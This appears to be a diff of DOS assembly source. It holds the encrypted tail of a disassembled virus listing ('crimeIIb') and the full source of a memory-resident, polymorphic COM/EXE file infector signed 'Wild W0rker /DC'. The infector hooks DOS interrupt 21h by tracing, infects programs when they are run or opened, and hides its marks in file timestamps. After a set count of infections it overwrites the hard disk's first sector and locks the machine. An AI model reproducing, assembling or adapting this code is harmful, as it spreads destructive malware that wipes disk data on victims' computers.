||||
db 70h,0F7h
|
||||
xor ah,[bp+si]
|
||||
int 3 ; Debug breakpoint
|
||||
db 67h, 8Ah, 97h,0CCh
|
||||
|
||||
locloop_12:
|
||||
in ax,dx ; port 0, DMA-1 bas&add ch 0
|
||||
db 36h, 10h,0CBh, 25h
|
||||
db 70h,0DEh, 8Bh, 84h,0C5h,0B7h
|
||||
db 47h,0E2h,0B0h, 98h,0E2h,0EFh
|
||||
db 0B7h, 1Ch,0CDh
|
||||
db 48h,0B8h, 1Dh, 4Bh, 67h, 1Dh
|
||||
db 10h, 48h,0EFh, 32h,0B7h, 47h
|
||||
db 0E2h, 94h, 98h,0E2h,0EFh,0B7h
|
||||
db 12h,0CDh,0D2h, 19h, 54h,0EDh
|
||||
db 48h, 0Ah, 0Dh, 78h, 67h, 4Fh
|
||||
db 9Ah, 27h, 19h,0A3h,0B7h,0F6h
|
||||
db 0E2h, 9Dh, 98h,0B9h, 65h,0D8h
|
||||
db 0ECh, 5Ch,0EBh,0AFh, 16h,0CEh
|
||||
db 0DFh, 2Ah, 99h,0E2h,0ECh, 24h
|
||||
db 19h, 3Eh, 33h, 87h, 9Bh, 01h
|
||||
db 47h, 70h, 7Bh, 3Fh,0EBh,0AFh
|
||||
db 51h,0CAh,0DEh, 33h, 98h,0FFh
|
||||
db 0AFh, 1Dh, 10h,0CBh, 25h, 70h
|
||||
db 67h, 08h, 27h,0B0h, 60h,0ECh
|
||||
db 18h,0C0h, 14h, 50h,0AEh, 35h
|
||||
db 2Ch,0CCh,0DCh,0B3h, 99h, 79h
|
||||
db 66h, 83h, 99h, 7Dh, 60h,0E1h
|
||||
db 79h, 46h,0AEh,0B3h, 50h,0CDh
|
||||
db 0DEh, 33h, 9Ch, 01h, 75h, 41h
|
||||
db 9Eh, 32h,0A0h,0B3h, 67h,0C5h
|
||||
db 13h,0D6h, 20h,0C9h, 66h, 87h
|
||||
db 9Bh, 7Eh, 61h,0FEh,0B8h, 2Eh
|
||||
db 9Eh,0D8h, 67h, 93h, 3Eh, 22h
|
||||
db 8Dh,0CDh, 72h, 25h, 9Eh,0D0h
|
||||
db 7Eh, 23h,0ECh,0D0h, 7Ah, 46h
|
||||
db 0ECh,0CFh, 7Ah, 34h, 99h,0CAh
|
||||
db 39h, 6Bh,0C6h, 94h,0D2h, 2Ah
|
||||
db 54h,0EDh, 48h,0BBh, 1Dh, 09h
|
||||
db 67h, 87h,0DEh,0FFh,0B4h
|
||||
db 65h
|
||||
db 14h, 78h,0AFh, 35h, 54h,0EDh
|
||||
db 38h
|
||||
db 1Dh, 5Fh, 48h,0D0h, 32h, 99h
|
||||
db 24h, 3Bh
|
||||
|
||||
locloop_17:
|
||||
xor dx,[si]
|
||||
push ax
|
||||
db 0C9h, 32h,0B7h, 46h,0E2h, 85h
|
||||
db 98h,0E2h, 98h,0B7h, 2Fh,0CDh
|
||||
db 0FEh
|
||||
db 30h
|
||||
db 41h,0E2h,0ECh, 34h
|
||||
db 13h, 1Ch, 5Ah,0CCh,0ECh,0CFh
|
||||
db 8Fh, 1Eh, 9Ah, 4Ch, 9Ch, 32h
|
||||
db 0ECh,0DCh, 48h,0B9h, 1Dh, 62h
|
||||
db 67h, 0Fh, 98h,0B8h,0B3h, 0Fh
|
||||
db 9Bh,0B9h, 65h,0DAh,0A5h, 33h
|
||||
db 0D2h, 3Dh, 54h,0EDh,0D2h, 74h
|
||||
db 2Bh,0CCh, 30h,0BEh, 2Dh, 25h
|
||||
db 60h,0FEh,0B8h, 92h,0DDh, 37h
|
||||
db 99h,0E2h
|
||||
db 0ECh, 34h,0A5h,0CFh, 13h, 34h
|
||||
db 29h,0CCh, 48h,0BBh, 9Eh, 27h
|
||||
db 0CBh,0DBh, 85h,0CDh, 8Eh,0ABh
|
||||
db 99h
|
||||
db 0BFh, 48h,0D8h, 3Ah,0FFh,0A6h
|
||||
db 2Dh, 17h, 14h,0DDh,0A3h, 99h
|
||||
db 47h, 21h, 31h,0B7h, 45h,0E2h
|
||||
db 4Eh, 98h, 47h, 61h, 1Dh, 10h
|
||||
db 48h, 19h, 32h, 15h, 04h,0EFh
|
||||
db 74h, 9Bh, 41h,0E2h, 74h, 9Ah
|
||||
db 45h, 61h, 2Ch, 5Ah, 77h, 62h
|
||||
db 33h,0B7h, 0Ah, 61h, 30h, 56h
|
||||
db 75h, 26h, 33h,0CFh, 83h, 29h
|
||||
db 7Ch, 5Eh,0C9h, 46h, 6Fh, 12h
|
||||
db 3Fh, 9Ah, 9Fh, 33h, 85h, 5Ah
|
||||
db 33h,0ECh, 35h, 38h, 87h,0A2h
|
||||
db 41h,0F2h, 3Bh, 9Eh, 01h, 47h
|
||||
db 0DBh, 51h,0CCh, 8Eh, 77h, 99h
|
||||
db 0BFh,0BCh, 87h,0A2h, 41h,0F2h
|
||||
db 0DBh, 9Fh, 01h, 47h, 1Dh
|
||||
db 67h, 48h
|
||||
|
||||
locloop_21:
|
||||
retf
|
||||
xor dh,[bx+di-2]
|
||||
db 66h, 40h, 9Ah, 25h,0E0h, 31h
|
||||
db 0B7h, 46h,0E2h, 9Eh, 98h,0F0h
|
||||
db 66h, 46h, 9Ch, 4Fh,0A5h, 3Ah
|
||||
db 72h, 7Bh,0D2h, 7Ch,0C9h, 01h
|
||||
db 47h, 6Bh,0EAh,0CFh, 8Fh, 10h
|
||||
db 66h, 9Ch,0D2h, 1Ch, 54h,0EDh
|
||||
db 0E5h,0F0h, 8Ch
|
||||
db 7Ch, 76h, 1Dh,0A1h,0CBh, 3Eh
|
||||
db 46h, 7Ch, 32h,0AEh,0D8h
|
||||
db 41h, 41h,0DAh, 3Ah, 9Eh, 75h
|
||||
db 5Ch, 33h, 29h,0CCh, 9Ah,0C0h
|
||||
db 33h, 78h, 21h, 65h,0AAh, 1Eh
|
||||
db 0EBh, 87h, 90h,0CBh,0ABh, 12h
|
||||
db 0C7h, 30h,0EBh, 8Fh, 90h,0CBh
|
||||
db 0DFh, 73h, 99h, 7Ch, 66h,0C1h
|
||||
db 37h,0B8h, 64h,0CAh, 5Ah, 83h
|
||||
db 29h,0B9h, 9Ch,0F0h
|
||||
db 3Ah, 47h
|
||||
db 9Ah, 8Bh,0D6h, 6Fh,0B7h, 44h
|
||||
db 63h, 74h, 29h,0E6h, 48h,0BBh
|
||||
db 9Ch, 8Bh,0D6h, 1Dh,0B7h, 44h
|
||||
db 63h, 74h, 29h,0E6h, 48h,0BBh
|
||||
db 9Ch, 8Bh,0EBh,0A7h, 91h,0CBh
|
||||
db 0D2h, 7Dh, 20h,0DCh, 66h,0FEh
|
||||
db 0B8h,0BFh, 67h,0F0h, 2Dh,0E3h
|
||||
db 60h,0FEh,0B8h, 4Fh,0A5h, 26h
|
||||
db 29h,0DCh
|
||||
db 40h, 0Bh, 9Eh,0CBh, 13h
|
||||
db 21h, 61h, 78h, 49h, 35h, 54h
|
||||
loc_26:
|
||||
in ax,dx ; port 0, DMA-1 bas&add ch 0
|
||||
in ax,0F0h ; port 0F0h ??I/O Non-standard
|
||||
xchg di,[si+48h]
|
||||
sbb ax,0CBA1h
|
||||
db 61h, 47h, 98h, 0Fh,0D2h, 7Ch
|
||||
db 54h,0EDh, 15h,0EBh, 60h, 0Fh
|
||||
db 0D2h, 7Dh, 20h,0CBh, 66h,0BEh
|
||||
db 0Dh, 7Bh, 67h,0FEh,0B8h,0BEh
|
||||
db 77h,0DBh,0B4h,0CCh,0D2h, 7Ch
|
||||
db 20h,0CBh, 66h,0FEh,0B8h,0BEh
|
||||
db 63h,0DBh,0B8h,0CCh, 8Dh,0C1h
|
||||
db 14h, 58h,0DBh, 32h, 2Dh, 82h
|
||||
db 0DFh, 34h, 99h, 01h, 47h, 41h
|
||||
db 88h, 24h, 69h, 33h, 2Dh, 83h
|
||||
db 0DFh, 34h, 99h, 01h, 47h, 41h
|
||||
db 9Ch, 24h, 65h, 33h, 72h, 3Eh
|
||||
db 0A5h, 87h,0B6h,0CAh,0ABh, 12h
|
||||
db 1Ah, 0Fh, 79h, 15h, 13h,0CBh
|
||||
db 61h, 0Fh,0DBh,0B9h, 67h,0F0h
|
||||
db 2Dh,0E3h, 60h,0FEh,0B8h, 4Fh
|
||||
db 0A5h, 25h,0BFh, 47h, 69h,0B0h
|
||||
db 5Ah,0CEh, 40h,0B8h, 8Eh,0CBh
|
||||
db 0ECh,0F2h,0BDh, 2Ch,0ECh,0D3h
|
||||
db 0C8h
|
||||
db 'uc3K$'
|
||||
db '?9]'
|
||||
db 0C8h, 63h, 09h, 58h,0B8h, 63h
|
||||
db 0B9h, 51h, 27h, 64h,0A3h, 5Ah
|
||||
db 94h, 3Eh, 62h,0CBh,0D2h, 60h
|
||||
db 87h,0B6h, 01h, 47h,0BFh, 59h
|
||||
db 42h,0BEh,0DBh, 8Ah,0CDh,0EDh
|
||||
db 0E0h, 1Ah, 0Eh, 78h, 8Bh, 9Bh
|
||||
db 0F1h,0ABh, 12h, 12h, 14h, 61h
|
||||
db 2Ch, 2Dh,0F3h,0EBh,0A7h, 08h
|
||||
db 0CDh,0DFh, 2Fh, 99h, 01h, 47h
|
||||
db 1Dh
|
||||
db 13h, 68h,0F7h
|
||||
db 32h,0B7h, 46h,0E2h,0A1h, 98h
|
||||
db 0F1h, 3Ch, 7Eh,0EDh,0CFh, 8Fh
|
||||
db 0AAh, 99h,0E2h,0EDh,0B7h, 3Ch
|
||||
db 0CDh, 48h,0BAh, 1Dh, 4Fh, 67h
|
||||
db 1Dh, 12h, 48h,0C1h, 32h,0B7h
|
||||
db 45h,0E2h,0B4h, 98h,0E2h
|
||||
db 0EDh,0B7h, 0Ch,0CDh, 35h, 00h
|
||||
db 42h,0FFh,0AFh,0E2h, 49h, 46h
|
||||
db 0AAh,0E2h, 41h, 4Fh, 9Fh, 33h
|
||||
db 0EDh,0CAh,0E7h,0F0h, 99h,0DCh
|
||||
db 84h,0C9h, 28h,0C5h,0B5h,0D3h
|
||||
db 20h,0C8h, 66h, 1Dh, 12h, 58h
|
||||
db 0FFh, 32h, 4Ah, 2Eh, 36h, 18h
|
||||
db 5Bh,0E2h,0EFh,0AFh, 3Eh,0CDh
|
||||
db 48h,0BAh, 05h
|
||||
db 53h, 67h
|
||||
db 1Dh, 10h, 48h,0C3h, 32h, 20h
|
||||
db 0CCh, 64h, 1Dh, 10h, 40h,0F5h
|
||||
db 32h, 20h, 32h, 99h, 1Dh, 10h
|
||||
db 40h,0C7h, 32h,0B7h, 47h,0EAh
|
||||
db 0A6h, 98h, 4Fh,0A7h, 30h,0B7h
|
||||
db 45h
|
||||
|
||||
locloop_31:
|
||||
jmp far ptr $-6CB4h
|
||||
loop $+74h ; Loop if cx > 0
|
||||
|
||||
sbb ax,0E28Dh
|
||||
jc $+4Ch ; Jump if carry Set
|
||||
mov cx,52B8h
|
||||
xchg ax,si
|
||||
esc 6,[bp+di] ; coprocessor escape
|
||||
esc 3,ds:[12ABh][bx] ; coprocessor escape
|
||||
;* jno loc_30 ;*Jump if not overflw
|
||||
db 71h,0C9h
|
||||
db 67h, 8Bh, 99h, 8Eh, 55h,0FAh
|
||||
db 0AAh, 1Eh,0ABh, 12h, 2Dh, 8Ch
|
||||
db 0DFh, 2Fh, 99h, 41h,0F2h,0A2h
|
||||
db 98h, 01h, 47h,0D8h,0AEh, 5Ch
|
||||
db 0DEh, 31h,0DBh,0FFh,0AFh, 00h
|
||||
db 4Bh, 01h, 47h,0DBh, 7Bh,0CCh
|
||||
db 0DEh, 33h,0DBh,0FFh,0AFh, 00h
|
||||
db 4Bh, 01h, 47h, 87h,0B6h, 9Fh
|
||||
db 60h,0FEh,0B8h, 4Fh,0A5h, 29h
|
||||
db 0BFh, 47h, 61h, 34h,0C2h,0E1h
|
||||
db 65h, 33h,0B7h, 45h,0E2h,0F4h
|
||||
db 98h, 78h, 26h, 8Ah, 9Ah,0CCh
|
||||
db 0EBh,0A7h, 5Fh,0CDh,0ABh, 12h
|
||||
db 0C3h, 95h,0DEh, 32h,0CEh, 01h
|
||||
db 47h, 87h,0A7h, 01h, 47h,0DBh
|
||||
db 0B5h,0CCh,0D2h, 08h, 14h, 58h
|
||||
db 8Eh, 35h, 54h,0EDh, 8Dh, 09h
|
||||
db 09h, 78h, 49h, 35h,0CAh
|
||||
db 01h, 47h,0B8h, 4Ah, 4Fh,0A4h
|
||||
db 2Dh, 21h,0CCh, 25h,0FEh,0B8h
|
||||
db 97h, 61h, 1Dh, 10h, 40h,0A5h
|
||||
db 32h, 18h, 2Dh, 98h, 33h, 21h
|
||||
db 0CDh, 25h,0FEh,0B8h, 0Fh, 48h
|
||||
db 0B8h, 15h, 0Fh, 67h, 87h,0B6h
|
||||
db 0CAh, 35h,0FEh,0B8h, 47h,0B5h
|
||||
db 0B0h, 5Bh,0D2h,0DEh, 32h,0DAh
|
||||
db 01h, 47h, 68h, 9Eh, 0Fh,0D2h
|
||||
db 3Dh
|
||||
db 0B7h, 46h,0F2h,0F6h, 98h, 01h
|
||||
db 47h, 87h,0A2h, 41h,0F2h,0FBh
|
||||
db 9Fh
|
||||
loc_34:
|
||||
add [bx-25h],ax
|
||||
mov word ptr ds:[61CCh],ax
|
||||
sub al,2Dh ; '-'
|
||||
db 0D6h,0DCh,0B3h, 99h, 01h, 47h
|
||||
db 0B8h, 5Fh,0F1h, 66h, 33h,0EDh
|
||||
db 0EAh, 48h,0B9h, 1Dh, 43h, 67h
|
||||
db 0Fh, 98h,0B9h, 7Eh, 1Dh, 12h
|
||||
db 48h,0EFh, 32h,0B7h, 47h,0FAh
|
||||
db 0B8h, 98h,0C2h, 3Fh, 18h, 52h
|
||||
db 0CFh,0AEh, 62h,0B7h, 47h,0E2h
|
||||
db 0B6h, 98h, 9Ch,0ADh, 88h, 99h
|
||||
db 0CDh, 99h,0D0h
|
||||
db 2Dh
|
||||
loc_35:
|
||||
sub byte ptr [bp+di-55EEh],0Ch
|
||||
js loc_34 ; Jump if sign=1
|
||||
inc cx
|
||||
ja loc_35 ; Jump if above
|
||||
xor si,word ptr ds:[0E247h][bx]
|
||||
dec si
|
||||
cbw ; Convrt byte to word
|
||||
inc bp
|
||||
and [bx+di],si
|
||||
adc cl,[bx+si+19h]
|
||||
xor dl,[bx+si]
|
||||
retf
|
||||
;* jns loc_36 ;*Jump if not sign
|
||||
db 79h,0F0h
|
||||
retf 0EA41h
|
||||
cmp bx,[bp-48B9h]
|
||||
mov si,5B05h
|
||||
db 60h, 18h, 52h, 4Fh, 8Fh, 73h
|
||||
db 0B7h, 46h, 61h,0B4h, 43h,0E2h
|
||||
db 0EEh, 34h, 1Eh, 16h, 25h, 71h
|
||||
db 7Bh, 3Eh, 8Dh, 41h, 09h, 24h
|
||||
db 69h, 33h,0C2h, 41h,0EAh,0FBh
|
||||
db 9Fh, 41h,0F2h, 33h, 98h,0E7h
|
||||
db 0ACh, 87h,0D9h, 01h, 47h, 1Dh
|
||||
db 13h, 58h, 65h, 32h,0CAh, 41h
|
||||
db 0EAh,0FBh, 9Fh, 41h,0FAh, 19h
|
||||
db 98h,0E7h,0ADh, 1Dh, 13h,0CBh
|
||||
db 54h,0F1h, 49h, 06h, 48h,0BBh
|
||||
db 9Eh, 8Fh, 84h,0C0h,0C2h, 0Fh
|
||||
|
||||
crimeIIb endp
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,648 @@
|
||||
.8086
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
virussize equ offset speend - offset start
|
||||
|
||||
start:
|
||||
call $+3
|
||||
pop si
|
||||
sub si,3
|
||||
mov ax,4270h
|
||||
int 21h
|
||||
cmp ax,'ww'
|
||||
jne virsetup
|
||||
jmp AllreadyInstalled
|
||||
virsetup:
|
||||
call virlen
|
||||
sub word ptr ds:[2],ax
|
||||
mov bp,word ptr ds:[2]
|
||||
mov dx,ds
|
||||
sub bp,dx
|
||||
push es
|
||||
mov ah,4ah
|
||||
mov bx,0ffffh
|
||||
int 21h
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
dec dx
|
||||
mov ds,dx
|
||||
mov ax,word ptr ds:[3]
|
||||
mov bx,ax
|
||||
call virlen
|
||||
sub bx,ax
|
||||
mov ax,bx
|
||||
add dx,ax
|
||||
mov word ptr ds:[3],ax
|
||||
inc dx
|
||||
mov es,dx
|
||||
mov byte ptr es:[0],5ah
|
||||
mov word ptr es:[1],8
|
||||
call virlen
|
||||
mov word ptr es:[3],ax
|
||||
inc dx
|
||||
mov es,dx
|
||||
pop dx
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,virussize
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb
|
||||
mov si,offset inhigh
|
||||
push si
|
||||
mov es,dx
|
||||
mov ah,4ah
|
||||
mov bx,bp
|
||||
int 21h
|
||||
retf
|
||||
|
||||
AllreadyInstalled:
|
||||
mov bp,si
|
||||
add si,offset oldbyte
|
||||
mov ax,word ptr cs:[si]
|
||||
not ax
|
||||
cmp ax, not 5A4Dh
|
||||
je jmp2exe
|
||||
mov di,100h
|
||||
push cs
|
||||
pop ds
|
||||
push ss di ss
|
||||
pop es
|
||||
mov cx,18h
|
||||
cld
|
||||
rep movsb
|
||||
push es
|
||||
pop ds
|
||||
call clear_exit
|
||||
xor bp,bp
|
||||
retf
|
||||
|
||||
jmp2exe:
|
||||
mov ah,62h
|
||||
int 21h
|
||||
mov ds,bx
|
||||
mov es,bx
|
||||
add bx,10h
|
||||
add word ptr cs:[bp+oldbyte+16h],bx
|
||||
cli
|
||||
add bx,word ptr cs:[bp+oldbyte+0eh]
|
||||
mov ss,bx
|
||||
mov sp,word ptr cs:[bp+oldbyte+10h]
|
||||
call clear_exit
|
||||
sti
|
||||
jmp dword ptr cs:[bp+oldbyte+14h]
|
||||
|
||||
clear_exit:
|
||||
xor ax,ax
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
xor bx,bx
|
||||
ret
|
||||
|
||||
inhigh:
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[mycs],cs
|
||||
|
||||
mov bx,1
|
||||
call getint
|
||||
|
||||
mov word ptr ds:[v01],di
|
||||
mov word ptr ds:[v01+2],es
|
||||
|
||||
mov bx,1
|
||||
lea si,ent01
|
||||
call setint
|
||||
|
||||
mov byte ptr ds:[setjmp],0
|
||||
mov byte ptr ds:[traceok],0
|
||||
|
||||
pushf
|
||||
pop ax
|
||||
or ah,1
|
||||
push ax
|
||||
popf
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ah,30h
|
||||
pushf
|
||||
call dword ptr ds:[21h*4]
|
||||
|
||||
call swapint21
|
||||
|
||||
pushf
|
||||
pop ax
|
||||
and ah,0feh
|
||||
push ax
|
||||
popf
|
||||
|
||||
xor si,si
|
||||
|
||||
jmp AllreadyInstalled
|
||||
|
||||
ent01:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push ax
|
||||
mov ax,cs
|
||||
cmp word ptr ss:[bp+4],ax
|
||||
je exit01
|
||||
cmp byte ptr cs:[setjmp],1
|
||||
jne getint21
|
||||
dec byte ptr cs:[counter]
|
||||
jnz exit01
|
||||
call swapint21
|
||||
mov byte ptr cs:[setjmp],0
|
||||
jmp restint01
|
||||
getint21:
|
||||
cmp byte ptr cs:[traceok],1
|
||||
je restint01
|
||||
cmp word ptr ss:[bp+4],0
|
||||
je exit01
|
||||
cmp word ptr ss:[bp+4],300h
|
||||
jnc exit01
|
||||
mov ax,word ptr ss:[bp+2]
|
||||
mov word ptr cs:[v21org],ax
|
||||
mov ax,word ptr ss:[bp+4]
|
||||
mov word ptr cs:[v21org+2],ax
|
||||
mov byte ptr cs:[traceok],1
|
||||
restint01:
|
||||
and word ptr ss:[bp+6],0feffh
|
||||
push bx si ds
|
||||
lds si,dword ptr cs:[v01]
|
||||
mov bx,1
|
||||
call setint
|
||||
pop ds si bx
|
||||
exit01:
|
||||
pop ax bp
|
||||
iret
|
||||
|
||||
swapint21:
|
||||
cli
|
||||
push ds es di si ax cx
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,5
|
||||
lea si,jmptome
|
||||
les di,dword ptr ds:[v21org]
|
||||
swp:
|
||||
mov al,byte ptr ds:[si]
|
||||
xchg al,byte ptr es:[di]
|
||||
mov byte ptr ds:[si],al
|
||||
inc di
|
||||
inc si
|
||||
loop swp
|
||||
pop cx ax si di es ds
|
||||
sti
|
||||
ret
|
||||
|
||||
installed:
|
||||
call popall
|
||||
call dos
|
||||
call swapint21
|
||||
mov ax,'ww'
|
||||
retf 2
|
||||
|
||||
ent21:
|
||||
call pushall
|
||||
call swapint21
|
||||
cmp ax,4270h
|
||||
je installed
|
||||
call set24
|
||||
cmp ax,4b00h
|
||||
je infect1
|
||||
cmp ah,3dh
|
||||
je infect3d
|
||||
jmp exit21_2
|
||||
infect3d:
|
||||
call checkname
|
||||
jnc infect1
|
||||
jmp exit21_2
|
||||
infect1:
|
||||
cmp word ptr cs:[infcnt],1313h
|
||||
jne infcontinue
|
||||
jmp killer
|
||||
infcontinue:
|
||||
mov word ptr cs:[fname],dx
|
||||
mov word ptr cs:[fname+2],ds
|
||||
mov ax,4300h
|
||||
call dos
|
||||
jnc getattr
|
||||
jmp exit21_2
|
||||
getattr:
|
||||
mov word ptr cs:[attr],cx
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
call dos
|
||||
jnc setattr
|
||||
jmp exit21_2
|
||||
setattr:
|
||||
mov ax,3d02h
|
||||
call dos
|
||||
jnc openf
|
||||
jmp restoreattr
|
||||
openf:
|
||||
xchg ax,bx
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,5700h
|
||||
call dos
|
||||
mov word ptr ds:[ftime],cx
|
||||
mov word ptr ds:[fdate],dx
|
||||
and cx,1fh
|
||||
cmp cx,1fh
|
||||
jne infectcontinue
|
||||
jmp closefile
|
||||
infectcontinue:
|
||||
mov ah,3fh
|
||||
mov cx,18h
|
||||
lea dx,oldbyte
|
||||
call dos
|
||||
jnc readfile
|
||||
jmp restoretime
|
||||
readfile:
|
||||
mov cx,18h
|
||||
push cs
|
||||
pop es
|
||||
lea di,bytes
|
||||
lea si,oldbyte
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ax,word ptr ds:[bytes]
|
||||
not ax
|
||||
cmp ax,not 'MZ'
|
||||
jne chk1
|
||||
jmp exeinf
|
||||
chk1:
|
||||
cmp ax,not 'ZM'
|
||||
jne comok
|
||||
jmp exeinf
|
||||
comok:
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
or dx,dx
|
||||
jz sizeok1
|
||||
jmp restoretime
|
||||
sizeok1:
|
||||
cmp ax,60000
|
||||
jb sizeok2
|
||||
clfile:
|
||||
jmp restoretime
|
||||
sizeok2:
|
||||
cmp ax,1024
|
||||
jb clfile
|
||||
mov bp,ax
|
||||
sub ax,3
|
||||
mov byte ptr ds:[bytes],0e9h
|
||||
mov word ptr ds:[bytes+1],ax
|
||||
add bp,100h
|
||||
mov ah,1
|
||||
call rndget
|
||||
addvirus:
|
||||
inc word ptr ds:[infcnt]
|
||||
call calcseg
|
||||
mov cx,virussize
|
||||
lea si,start
|
||||
push bx
|
||||
call spe
|
||||
pop bx
|
||||
push es
|
||||
pop ds
|
||||
mov ah,40h
|
||||
xor dx,dx
|
||||
call dos
|
||||
push cs
|
||||
pop ds
|
||||
jnc writebody
|
||||
jmp restoretime
|
||||
writebody:
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
|
||||
mov ah,40h
|
||||
lea dx,bytes
|
||||
mov cx,18h
|
||||
call dos
|
||||
jnc writeheader
|
||||
jmp restoretime
|
||||
writeheader:
|
||||
mov cx,word ptr ds:[ftime]
|
||||
or cx,1fh
|
||||
jmp short settim1
|
||||
restoretime:
|
||||
mov cx,word ptr ds:[ftime]
|
||||
settim1:
|
||||
mov dx,word ptr ds:[fdate]
|
||||
mov ax,5701h
|
||||
call dos
|
||||
closefile:
|
||||
mov ah,3eh
|
||||
call dos
|
||||
restoreattr:
|
||||
mov ax,4301h
|
||||
mov cx,word ptr ds:[attr]
|
||||
lds dx,dword ptr ds:[fname]
|
||||
call dos
|
||||
|
||||
exit21_2:
|
||||
call restore24
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,1
|
||||
call getint
|
||||
mov word ptr ds:[v01],di
|
||||
mov word ptr ds:[v01+2],es
|
||||
|
||||
mov byte ptr ds:[setjmp],1
|
||||
mov byte ptr ds:[counter],5
|
||||
|
||||
lea si,ent01
|
||||
mov bx,1
|
||||
call setint
|
||||
|
||||
pushf
|
||||
pop ax
|
||||
or ah,1
|
||||
push ax
|
||||
popf
|
||||
|
||||
call popall
|
||||
jmp dword ptr cs:[v21org]
|
||||
|
||||
pushall:
|
||||
pop word ptr cs:[saveip]
|
||||
push ax bx cx dx ds es si di bp
|
||||
jmp word ptr cs:[saveip]
|
||||
|
||||
popall:
|
||||
pop word ptr cs:[saveip]
|
||||
pop bp di si es ds dx cx bx ax
|
||||
jmp word ptr cs:[saveip]
|
||||
|
||||
exeinf:
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
jnc exeinf1
|
||||
jmp restoretime
|
||||
exeinf1:
|
||||
mov word ptr ds:[flen],ax
|
||||
mov word ptr ds:[flen+2],dx
|
||||
push bx
|
||||
mov bx,10h
|
||||
div bx
|
||||
mov bx,word ptr ds:[bytes+8h]
|
||||
mov word ptr ds:[bytes+14h],dx
|
||||
mov bp,dx
|
||||
sub ax,bx
|
||||
mov word ptr ds:[bytes+16h],ax
|
||||
mov bx,virussize
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
inc bx
|
||||
add ax,bx
|
||||
mov word ptr ds:[bytes+0eh],ax
|
||||
mov word ptr ds:[bytes+10h],100h
|
||||
mov ax,virussize
|
||||
mov dx,word ptr ds:[flen+2]
|
||||
add ax,word ptr ds:[flen]
|
||||
adc dx,0
|
||||
mov bx,200h
|
||||
div bx
|
||||
or dx,dx
|
||||
jz exeinf2
|
||||
inc ax
|
||||
xor dx,dx
|
||||
exeinf2:
|
||||
mov word ptr ds:[bytes+4],ax
|
||||
mov word ptr ds:[bytes+2],dx
|
||||
pop bx
|
||||
mov al,1
|
||||
jmp addvirus
|
||||
|
||||
dos:
|
||||
pushf
|
||||
db 09ah
|
||||
v21org dw 0,0
|
||||
ret
|
||||
|
||||
checkname:
|
||||
mov di,dx
|
||||
push ds
|
||||
pop es
|
||||
mov cx,128
|
||||
cld
|
||||
mov al,0
|
||||
repne scasb
|
||||
jne error1
|
||||
mov si,di
|
||||
sub si,4
|
||||
lodsw
|
||||
or ax,2020h
|
||||
cmp ax,'oc'
|
||||
je chklast
|
||||
cmp ax,'xe'
|
||||
jne error1
|
||||
chklast:
|
||||
lodsb
|
||||
or al,20h
|
||||
cmp al,'m'
|
||||
je nameok
|
||||
cmp al,'e'
|
||||
je nameok
|
||||
error1:
|
||||
stc
|
||||
ret
|
||||
nameok:
|
||||
clc
|
||||
ret
|
||||
|
||||
ent24:
|
||||
mov al,3
|
||||
iret
|
||||
|
||||
db 'Wild W0rker /DC'
|
||||
|
||||
set24:
|
||||
push bx es di ds si
|
||||
mov bx,24h
|
||||
push bx
|
||||
call getint
|
||||
mov word ptr cs:[v24],di
|
||||
mov word ptr cs:[v24+2],es
|
||||
pop bx
|
||||
push cs
|
||||
pop ds
|
||||
lea si,ent24
|
||||
call setint
|
||||
pop si ds di es bx
|
||||
ret
|
||||
restore24:
|
||||
push ds si bx
|
||||
mov bx,24h
|
||||
lds si,dword ptr cs:[v24]
|
||||
call setint
|
||||
pop bx si ds
|
||||
ret
|
||||
|
||||
; ds:si - int handler
|
||||
; bx - int number
|
||||
setint:
|
||||
cli
|
||||
push ax es
|
||||
shl bx,1
|
||||
shl bx,1
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov word ptr es:[bx],si
|
||||
mov word ptr es:[bx+2],ds
|
||||
pop es ax
|
||||
sti
|
||||
ret
|
||||
|
||||
; bx - int num.
|
||||
; out: es:di - int handler
|
||||
getint:
|
||||
cli
|
||||
push ax
|
||||
shl bx,1
|
||||
shl bx,1
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
les di,dword ptr es:[bx]
|
||||
pop ax
|
||||
ret
|
||||
|
||||
calcseg:
|
||||
push ax
|
||||
lea si,speend
|
||||
mov cl,4
|
||||
shr si,cl
|
||||
mov ax,es
|
||||
add ax,si
|
||||
inc ax
|
||||
mov es,ax
|
||||
pop ax
|
||||
ret
|
||||
|
||||
killer:
|
||||
mov ax,0301h
|
||||
mov dx,80h
|
||||
mov cx,1
|
||||
int 13h
|
||||
|
||||
mov ax,3
|
||||
int 10h
|
||||
push cs
|
||||
pop ds
|
||||
lea si,mes
|
||||
mov word ptr ds:[pos],160*3
|
||||
mov bp,word ptr ds:[pos]
|
||||
call writebig
|
||||
cli
|
||||
jmp $
|
||||
|
||||
writebig:
|
||||
xor ax,ax
|
||||
lodsb
|
||||
cmp al,255
|
||||
je nextline
|
||||
cmp al,0
|
||||
je endwrt
|
||||
push ds si
|
||||
mov si,0f000h
|
||||
mov ds,si
|
||||
add si,0a6eh
|
||||
mov cl,3
|
||||
shl ax,3
|
||||
add si,ax
|
||||
call bigchar
|
||||
pop si ds
|
||||
add word ptr ds:[pos],18
|
||||
jmp writebig
|
||||
nextline:
|
||||
mov ax,word ptr ds:[pos]
|
||||
sub ax,bp
|
||||
mov bx,160
|
||||
sub bx,ax
|
||||
add word ptr ds:[pos],bx
|
